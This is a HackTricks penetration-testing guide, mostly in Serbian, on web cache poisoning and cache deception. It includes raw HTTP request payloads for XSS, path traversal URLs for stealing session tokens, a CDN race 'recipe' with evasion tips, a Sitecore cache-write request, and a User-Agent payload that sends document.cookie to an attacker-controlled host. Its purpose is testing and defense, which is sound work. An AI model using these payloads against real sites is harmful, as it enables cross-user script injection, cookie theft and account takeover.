Cache Poisoning and Cache Deception
Reading time: 17 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Razlika
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
Cache Poisoning
Cache poisoning ima za cilj manipulaciju client-side cache-a kako bi primorao klijente da učitavaju resurse koji su neočekivani, nepotpuni ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer je zatrovan odgovor serviran isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije cache-a.
Izvođenje cache poisoning napada uključuje nekoliko koraka:
- Identifikacija neključanih ulaza: Ovo su parametri koji, iako nisu neophodni za keširanje zahteva, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju cache-om.
- Iskorišćavanje neključanih ulaza: Nakon identifikacije neključanih ulaza, sledeći korak je otkriti kako zloupotrebiti ove parametre da se izmeni odgovor servera na način koji koristi napadaču.
- Osiguravanje da je zatrovan odgovor keširan: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u cache-u. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je cache zatrovan dobiće zatrovan odgovor.
Otkrivanje: Proverite HTTP zaglavlja
Obično, kada je odgovor sačuvan u cache-u biće prisutno zaglavlje koje to ukazuje, možete proveriti na koja zaglavlja treba da obratite pažnju u ovom postu: HTTP Cache headers.
Otkrivanje: Keširanje kodova grešaka
Ako mislite da se odgovor čuva u cache-u, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da bude odgovoreno sa status code 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status code 400, znate da je ranjivo (i čak biste mogli izvesti DoS).
You can find more options in:
Međutim, imajte na umu da ponekad ovakvi status kodovi nisu keširani, pa ovaj test možda nije pouzdan.
Otkrivanje: Identifikujte i ocenite neključane ulaze
Možete koristiti Param Miner da brute-force-ujete parametre i zaglavlja koja možda menjaju odgovor stranice. Na primer, stranica može koristiti zaglavlje X-Forwarded-For da naznači klijentu da učita skriptu odande:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Izazovite štetan odgovor sa back-end servera
Sa identifikovanim parametrom/zaglavljem proverite kako se on sanitizuje i gde se reflektuje ili na koji način utiče na odgovor iz zaglavlja. Možete li ga ipak zloupotrebiti (izvršiti XSS ili učitati JS kod kojim upravljate? izvršiti DoS?...)
Naterajte odgovor da bude keširan
Kada ste identifikovali stranicu koja se može zloupotrebiti, koji parametar/zaglavlje koristiti i kako ga zloupotrebiti, potrebno je da stranicu keširate. U zavisnosti od resursa koji pokušavate da stavite u keš, to može potrajati — možda ćete morati da pokušavate nekoliko sekundi.
Zaglavlje X-Cache u odgovoru može biti veoma korisno jer može imati vrednost miss kada zahtev nije bio keširan i vrednost hit kada jeste keširan.
Zaglavlje Cache-Control je takođe interesantno da se zna da li se resurs kešira i kada će sledeći put biti keširan: Cache-Control: public, max-age=1800
Još jedno interesantno zaglavlje je Vary. Ovo zaglavlje se često koristi da naznači dodatna zaglavlja koja se tretiraju kao deo cache ključa čak i ako obično nisu uključena. Dakle, ako napadač zna User-Agent žrtve koju cilja, može poison the cache za korisnike koji koriste taj specifični User-Agent.
Još jedno zaglavlje vezano za keš je Age. Ono definiše vreme u sekundama koliko je objekat bio u proxy kešu.
Kod keširanja zahteva, budite pažljivi sa zaglavljima koje koristite zato što neka od njih mogu biti neočekivano korišćena kao ključevi, i žrtva će morati koristiti isto zaglavlje. Uvek testirajte Cache Poisoning sa različitim browser-ima da proverite da li radi.
Primeri eksploatacije
Najjednostavniji primer
Zaglavlje poput X-Forwarded-For se reflektuje u odgovoru bez sanitizacije.
Možete poslati osnovni XSS payload i poison the cache tako da će svi koji pristupe stranici biti XSS-ovani:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Napomena: ovo će poison-ovati zahtev ka /en?region=uk, ne ka /en
Cache poisoning to DoS
Cache poisoning through CDNs
U this writeup objašnjen je sledeći jednostavan scenario:
- CDN će keširati sve pod
/share/ - CDN NEĆE dekodirati niti normalizovati
%2F..%2F, stoga se to može iskoristiti kao path traversal za pristup drugim osetljivim lokacijama koje će biti keširane kaohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Web server ĆE dekodirati i normalizovati
%2F..%2F, i odgovoriće sa/api/auth/session, koji sadrži auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies takođe mogu biti reflektovani u odgovoru stranice. Ako to možete zloupotrebiti da, na primer, izazovete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju zlonamerni keširani odgovor.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Imajte na umu da, ako je ranjiv cookie često korišćen od strane korisnika, redovni zahtevi će čistiti cache.
Generisanje neusaglašenosti pomoću delimitera, normalizacije i tačaka
Pogledaj:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
Ovaj writeup objašnjava kako je bilo moguće ukrasti OpenAI API key pomoću URL-a kao https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 zato što će bilo šta što odgovara /share/* biti cached bez da Cloudflare normalizuje URL, što se dešavalo kada je zahtev stigao do web servera.
Ovo je takođe bolje objašnjeno u:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
Ponekad će vam biti potrebno da exploit several unkeyed inputs kako biste mogli da abuse a cache. Na primer, možete pronaći Open redirect ako postavite X-Forwarded-Host na domen koji kontrolišete i X-Forwarded-Scheme na http. Ako server preusmerava sve HTTP zahteve to HTTPS i koristi header X-Forwarded-Scheme kao naziv domena za redirect, možete kontrolisati gde će stranica biti usmerena putem redirect-a.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Iskorišćavanje sa ograničenim Vary header-om
Ako otkrijete da se header X-Host koristi kao domena za učitavanje JS resursa, ali da Vary header u odgovoru ukazuje na User-Agent, moraćete da pronađete način da exfiltrate User-Agent žrtve i poison the cache koristeći taj user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Pošaljite GET request sa istim sadržajem u URL-u i u body-ju. Ako web server koristi onaj iz body-ja, ali cache server kešira onaj iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle otkrio na Github sajtu:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Saznajte ovde kako izvesti Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
The Web Cache Vulnerability Scanner može se koristiti za automatsko testiranje za web cache poisoning. Podržava mnogo različitih tehnika i visoko je prilagodljiv.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ovaj real-world pattern povezuje header-based reflection primitive sa ponašanjem CDN/WAF kako bi pouzdano poison-ovao cached HTML koji se isporučuje drugim korisnicima:
- The main HTML reflected an untrusted request header (e.g.,
User-Agent) into executable context. - The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g.,
.js), while the WAF applied weaker content inspection to GETs for static assets. - Request flow quirks allowed a request to a
.jspath to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
Practical recipe (observed across a popular CDN/WAF):
- From a clean IP (avoid prior reputation-based downgrades), set a malicious
User-Agentvia browser or Burp Proxy Match & Replace. - In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a
.jsresource path on the same origin while sending your maliciousUser-Agent. - Immediately after: GET the main page (
/).
- The CDN/WAF routing race plus the auto-cached
.jsoften seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., sameVarydimensions likeUser-Agent).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operativni saveti:
- Mnogi CDN-ovi sakrivaju cache headers; poisoning se može pojaviti samo tokom osvežavanja na više sati. Koristite više vantage IP-ova i throttle da izbegnete rate-limit ili reputation triggery.
- Korišćenje IP-a iz CDN-ovog vlastitog cloud-a ponekad poboljšava routing consistency.
- Ako je prisutan striktan CSP, ovo i dalje radi ako se reflection izvršava u glavnom HTML kontekstu i CSP dozvoljava inline execution ili je zaobilažen kontekstom.
Impact:
- Ako session cookies nisu
HttpOnly, zero-click ATO je moguć masovnim exfiltriranjemdocument.cookieod svih korisnika kojima je poslat poisoned HTML.
Defenses:
- Prestani reflektovati request headers u HTML; striktno context-encode ako je neizbežno. Uskladite CDN i origin cache policies i izbegavajte varying na nepoverljivim header-ima.
- Obezbedite da WAF dosledno primenjuje content inspection na
.jszahteve i statičke putanje. - Postavite
HttpOnly(iSecure,SameSite) na session cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern omogućava unauthenticated writes u HtmlCache zloupotrebom pre‑auth XAML handler-a i AjaxScriptManager reflection. Kada se dosegne handler Sitecore.Shell.Xaml.WebControl, dostupan je xmlcontrol:GlobalHeader (izveden iz Sitecore.Web.UI.WebControl) i sledeći reflective poziv je dozvoljen:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Ovo upisuje proizvoljan HTML pod napadačem izabranim cache key-jem, omogućavajući precizno poisoning kada su cache key-jevi poznati.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Ranjivi primeri
Apache Traffic Server (CVE-2021-27577)
ATS je prosleđivao fragment iz URL-a bez uklanjanja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle zahtev /#/../?r=javascript:alert(1) je poslat na backend kao /#/../?r=javascript:alert(1) i cache key nije sadržao payload, već samo host, path i query.
GitHub CP-DoS
Slanje pogrešne vrednosti u content-type header-u je izazvalo keširani 405 odgovor. Cache key je sadržao cookie pa je bilo moguće napasti samo unauth users.
GitLab + GCP CP-DoS
GitLab koristi GCP buckets za skladištenje statičkog sadržaja. GCP Buckets podržavaju header x-http-method-override. Dakle, bilo je moguće poslati header x-http-method-override: HEAD i poison-ovati cache da vrati prazan response body. Takođe je mogao da podržava metod PURGE.
Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama se često koristi Rack middleware. Svrha Rack koda je da uzme vrednost header-a x-forwarded-scheme i postavi je kao scheme zahteva. Kada se pošalje header x-forwarded-scheme: http, dolazi do 301 redirect-a na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Dodatno, aplikacija može prihvatiti X-forwarded-host header i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa servera napadača, što predstavlja sigurnosni rizik.
403 and Storage Buckets
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization header-ima bi rezultovao 403 odgovorom koji bi bio keširan. Iako Cloudflare više ne kešira 403 odgovore, ovo ponašanje i dalje može postojati u drugim proxy servisima.
Injecting Keyed Parameters
Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly's Varnish je keširao size parametar u zahtevima. Međutim, ako bi URL-enkodovana verzija parametra (npr. siz%65) bila takođe poslata sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan size parametar. Ipak, backend bi obradio vrednost iz URL-enkodovanog parametra. URL-enkodovanje drugog size parametra dovodilo je do njegovog izostavljanja od strane cache-a, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 tom parametru rezultovalo je cacheable 400 Bad Request greškom.
User Agent Rules
Neki developeri blokiraju zahteve sa user-agents koji odgovaraju alatima velikog opterećenja kao što su FFUF ili Nuclei da bi kontrolisali load servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.
Illegal Header Fields
RFC7230 specificira prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere izvan specificiranog tchar opsega idealno bi trebali izazvati 400 Bad Request. U praksi, serveri ne uvek poštuju ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok cache-control header nije prisutan. Identifikovan je eksploatisan obrazac gde slanje header-a sa ilegalnim karakterom, kao što je \, rezultira cacheable 400 Bad Request greškom.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cilj Cache Deception je naterati klijente da učitaju resurse koji će biti sačuvani u cache-u zajedno sa njihovim osetljivim informacijama.
Prvo, imajte na umu da su extensions poput .css, .js, .png itd. obično konfigurisane da budu sačuvane u cache-u. Dakle, ako pristupite www.example.com/profile.php/nonexistent.js cache će verovatno sačuvati odgovor jer vidi .js extension. Ali, ako application vraća sensitive korisnički sadržaj koji je smešten na www.example.com/profile.php, možete ukrasti te sadržaje od drugih korisnika.
Other things to test:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
Obratite pažnju da bi cache proxy trebao biti konfigurisан da kešira fajlove na osnovu extension fajla (.css) a ne na osnovu content-type. U primeru http://www.example.com/home.php/non-existent.css odgovor će imati text/html content-type umesto text/css mime type.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
Automatski alati
- toxicache: Golang scanner za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection tehnika.
Reference
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks